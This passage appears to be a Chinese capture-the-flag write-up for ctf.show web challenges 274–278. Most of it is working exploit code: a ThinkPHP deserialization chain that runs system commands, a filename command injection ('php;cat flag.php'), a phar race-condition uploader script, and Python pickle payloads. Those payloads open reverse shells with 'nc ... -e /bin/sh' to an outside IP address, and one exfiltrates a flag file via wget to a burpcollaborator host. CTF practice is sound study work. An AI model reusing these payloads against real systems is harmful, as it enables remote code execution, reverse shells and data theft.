protected $filter = "system"; //PHP函数
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin']; //PHP函数的参数
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
1
.../?lin=cat /flag&data=[payload]

web 275

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);//此处可以用分号来截断
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){//防止该题利用文件上传做
file_put_contents($_GET['fn'], $content);//写入操作
copy($_GET['fn'],md5(mt_rand()).'.txt');//将文件进行改名操作
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);//删除当前目录下由你编辑的文件
echo 'work done';
}

}else{
echo 'where is flag?';
}

RCE

payload

1
2
3
?fn=php%3bcat flag.php

// php;cat flag.php

竞争(Web 276)

phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class filter{
public $filename="1.txt;cat f*;";
public $filecontent;
public $evilfile=true;
public $admin = true;
}

$a=new filter();
$phar = new Phar("coco.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import threading
import time

f=open("tmp/coco.phar","rb")
content=f.read()
def upload(): #上传1.phar,内容是本地文件:phar.phar
  requests.post(url=url+"?fn=1.phar",data=content)

def read(): #利用条件竞争,尝试phar://反序列化1.phar,1.phar没被删除就能被反序列化,因而就能执行system()函数从而执行我们的命令
r = requests.post(url=url+"?fn=phar://1.phar/",data="1")
if "ctfshow{" or "flag{" in r.text in r.text:
print(r.text)
exit()

while 1:
t1=threading.Thread(target=upload)
t2=threading.Thread(target=read)
t1.start()
t2.start()
time.sleep(4)

web 277 278 python 反序列化

1
2
where is flag?
<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->|

nc -lvvn 9000

1
2
3
4
5
6
7
8
9
10
11
import pickle
import base64
import os


class RCE:
def __reduce__(self):
return os.popen, ("nc 156.238.233.102 7777 -e /bin/sh",)


print(base64.b64encode(pickle.dumps(RCE())))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle # type: ignore
import os
import base64 # type: ignore

class CTFshow():
def sw(self):
print(self.show)
def __init__(self,show):
self.show = show
def __reduce__(self):
return(eval,("__import__('os').popen('nc 156.238.233.102 9000 -e /bin/sh').read()",))

choco = CTFshow(" https://ctf.show")
ser = pickle.dumps(choco)
print(base64.b64encode(ser))
1
http://536110ee-d022-4b6c-ab8b-4cc7fe52932e.challenge.ctf.show/backdoor?data=Y3Bvc2l4CnN5c3RlbQpwMAooVndnZXQgaHR0cDovLzdzMGJ2cW55NTZ0bzE5Nm02bGxzdzdvcmxpcjlmeS5idXJwY29sbGFib3JhdG9yLm5ldC9gY2F0IGZsYSpgCnAxCnRwMgpScDMKLg==